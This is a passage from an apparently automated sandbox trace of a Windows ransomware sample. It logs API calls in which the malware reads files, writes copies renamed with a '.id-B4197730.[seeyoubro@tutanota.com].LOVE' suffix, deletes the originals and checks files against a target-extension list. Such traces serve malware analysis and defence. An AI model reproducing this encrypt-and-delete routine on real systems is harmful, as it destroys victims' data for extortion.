returned 0x29c [0195.099] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=577) returned 1 [0195.099] CloseHandle (hObject=0x29c) returned 1 [0195.099] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0195.099] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.099] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.099] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.099] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.100] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0195.476] GetLastError () returned 0x0 [0195.476] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x241, lpOverlapped=0x0) returned 1 [0195.542] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x250, lpOverlapped=0x0) returned 1 [0195.543] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.543] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x104, lpOverlapped=0x0) returned 1 [0195.543] SetEndOfFile (hFile=0x2f4) returned 1 [0195.544] CloseHandle (hObject=0x2f4) returned 1 [0195.544] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.544] SetEndOfFile (hFile=0x29c) returned 1 [0195.545] CloseHandle (hObject=0x29c) returned 1 [0195.545] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0195.546] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0195.546] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0195.546] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0195.546] lstrlenW (lpString=".doc") returned 4 [0195.546] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0195.546] lstrlenW (lpString=".docx") returned 5 [0195.546] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0195.546] lstrlenW (lpString=".pdf") returned 4 [0195.546] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0195.546] lstrlenW (lpString=".xls") returned 4 [0195.546] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0195.546] lstrlenW (lpString=".xlsx") returned 5 [0195.546] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0195.546] lstrlenW (lpString=".ppt") returned 4 [0195.546] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0195.546] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0195.546] lstrlenW (lpString=".zip") returned 4 [0195.547] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0195.547] lstrlenW (lpString=".rar") returned 4 [0195.547] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0195.547] lstrlenW (lpString=".bz2") returned 4 [0195.547] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0195.547] lstrlenW (lpString=".7z") returned 3 [0195.547] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0195.547] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0195.547] lstrlenW (lpString=".dbf") returned 4 [0195.547] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0195.547] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0195.547] lstrlenW (lpString=".1cd") returned 4 [0195.547] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0195.547] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0195.547] lstrlenW (lpString=".jpg") returned 4 [0195.547] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0195.547] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0195.547] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0195.547] lstrlenW (lpString=".doc") returned 4 [0195.547] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0195.547] lstrlenW (lpString=".docx") returned 5 [0195.547] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0195.547] lstrlenW (lpString=".pdf") returned 4 [0195.547] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0195.547] lstrlenW (lpString=".xls") returned 4 [0195.547] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0195.547] lstrlenW (lpString=".xlsx") returned 5 [0195.547] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0195.547] lstrlenW (lpString=".ppt") returned 4 [0195.548] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0195.548] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0195.548] lstrlenW (lpString=".zip") returned 4 [0195.548] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0195.548] lstrlenW (lpString=".rar") returned 4 [0195.548] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0195.548] lstrlenW (lpString=".bz2") returned 4 [0195.548] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0195.548] lstrlenW (lpString=".7z") returned 3 [0195.548] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0195.548] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0195.548] lstrlenW (lpString=".dbf") returned 4 [0195.548] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0195.548] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0195.548] lstrlenW (lpString=".1cd") returned 4 [0195.548] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0195.548] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0195.548] lstrlenW (lpString=".jpg") returned 4 [0195.548] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0195.548] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.548] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.548] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.549] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=18264) returned 1 [0195.549] CloseHandle (hObject=0x29c) returned 1 [0195.549] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 0x80 [0195.549] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.549] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.549] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.549] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.549] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.563] GetLastError () returned 0x0 [0195.563] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x4758, lpOverlapped=0x0) returned 1 [0195.577] WriteFile (in: hFile=0x2c4, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x4760, lpOverlapped=0x0) returned 1 [0195.578] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.578] WriteFile (in: hFile=0x2c4, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.578] SetEndOfFile (hFile=0x2c4) returned 1 [0195.578] CloseHandle (hObject=0x2c4) returned 1 [0195.579] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.579] SetEndOfFile (hFile=0x29c) returned 1 [0195.580] CloseHandle (hObject=0x29c) returned 1 [0195.580] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.580] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1035\\setupresources.dll")) returned 1 [0195.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0195.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0195.580] lstrlenW (lpString=".doc") returned 4 [0195.580] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.580] lstrlenW (lpString=".docx") returned 5 [0195.580] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.580] lstrlenW (lpString=".pdf") returned 4 [0195.580] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.580] lstrlenW (lpString=".xls") returned 4 [0195.580] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.580] lstrlenW (lpString=".xlsx") returned 5 [0195.580] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.580] lstrlenW (lpString=".ppt") returned 4 [0195.580] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.580] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0195.580] lstrlenW (lpString=".zip") returned 4 [0195.581] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.581] lstrlenW (lpString=".rar") returned 4 [0195.581] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.581] lstrlenW (lpString=".bz2") returned 4 [0195.581] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.581] lstrlenW (lpString=".7z") returned 3 [0195.581] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0195.581] lstrlenW (lpString=".dbf") returned 4 [0195.581] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0195.581] lstrlenW (lpString=".1cd") returned 4 [0195.581] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0195.581] lstrlenW (lpString=".jpg") returned 4 [0195.581] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0195.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0195.581] lstrlenW (lpString=".doc") returned 4 [0195.581] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.581] lstrlenW (lpString=".docx") returned 5 [0195.581] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.581] lstrlenW (lpString=".pdf") returned 4 [0195.581] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.581] lstrlenW (lpString=".xls") returned 4 [0195.581] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.581] lstrlenW (lpString=".xlsx") returned 5 [0195.581] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.581] lstrlenW (lpString=".ppt") returned 4 [0195.581] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.581] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0195.581] lstrlenW (lpString=".zip") returned 4 [0195.582] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.582] lstrlenW (lpString=".rar") returned 4 [0195.582] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.582] lstrlenW (lpString=".bz2") returned 4 [0195.582] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.582] lstrlenW (lpString=".7z") returned 3 [0195.582] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0195.582] lstrlenW (lpString=".dbf") returned 4 [0195.582] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0195.582] lstrlenW (lpString=".1cd") returned 4 [0195.582] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.582] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\SetupResources.dll") returned 45 [0195.582] lstrlenW (lpString=".jpg") returned 4 [0195.582] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.582] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.582] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.582] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.590] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=16728) returned 1 [0195.590] CloseHandle (hObject=0x29c) returned 1 [0195.590] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0195.590] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.590] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.591] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.591] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.591] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0195.612] GetLastError () returned 0x0 [0195.612] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x4158, lpOverlapped=0x0) returned 1 [0195.634] WriteFile (in: hFile=0x2f8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x4160, lpOverlapped=0x0) returned 1 [0195.635] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.636] WriteFile (in: hFile=0x2f8, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.636] SetEndOfFile (hFile=0x2f8) returned 1 [0195.636] CloseHandle (hObject=0x2f8) returned 1 [0195.637] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.637] SetEndOfFile (hFile=0x29c) returned 1 [0195.638] CloseHandle (hObject=0x29c) returned 1 [0195.638] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.638] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0195.638] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0195.638] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0195.638] lstrlenW (lpString=".doc") returned 4 [0195.638] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.638] lstrlenW (lpString=".docx") returned 5 [0195.639] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.639] lstrlenW (lpString=".pdf") returned 4 [0195.639] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.639] lstrlenW (lpString=".xls") returned 4 [0195.639] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.639] lstrlenW (lpString=".xlsx") returned 5 [0195.639] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.639] lstrlenW (lpString=".ppt") returned 4 [0195.639] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0195.639] lstrlenW (lpString=".zip") returned 4 [0195.639] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.639] lstrlenW (lpString=".rar") returned 4 [0195.639] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.639] lstrlenW (lpString=".bz2") returned 4 [0195.639] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.639] lstrlenW (lpString=".7z") returned 3 [0195.639] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0195.639] lstrlenW (lpString=".dbf") returned 4 [0195.639] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0195.639] lstrlenW (lpString=".1cd") returned 4 [0195.639] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0195.639] lstrlenW (lpString=".jpg") returned 4 [0195.639] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0195.639] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0195.639] lstrlenW (lpString=".doc") returned 4 [0195.640] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.640] lstrlenW (lpString=".docx") returned 5 [0195.640] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.640] lstrlenW (lpString=".pdf") returned 4 [0195.640] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.640] lstrlenW (lpString=".xls") returned 4 [0195.640] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.640] lstrlenW (lpString=".xlsx") returned 5 [0195.640] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.640] lstrlenW (lpString=".ppt") returned 4 [0195.640] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0195.640] lstrlenW (lpString=".zip") returned 4 [0195.640] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.640] lstrlenW (lpString=".rar") returned 4 [0195.640] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.640] lstrlenW (lpString=".bz2") returned 4 [0195.640] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.640] lstrlenW (lpString=".7z") returned 3 [0195.640] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.640] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0195.641] lstrlenW (lpString=".dbf") returned 4 [0195.641] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0195.641] lstrlenW (lpString=".1cd") returned 4 [0195.641] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.641] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0195.641] lstrlenW (lpString=".jpg") returned 4 [0195.641] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.641] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.641] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.641] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.641] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=15704) returned 1 [0195.641] CloseHandle (hObject=0x29c) returned 1 [0195.642] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0195.642] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.642] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0195.642] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.642] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.642] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0195.669] GetLastError () returned 0x0 [0195.669] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x3d58, lpOverlapped=0x0) returned 1 [0195.700] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x3d60, lpOverlapped=0x0) returned 1 [0195.701] ReadFile (in: hFile=0x29c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, 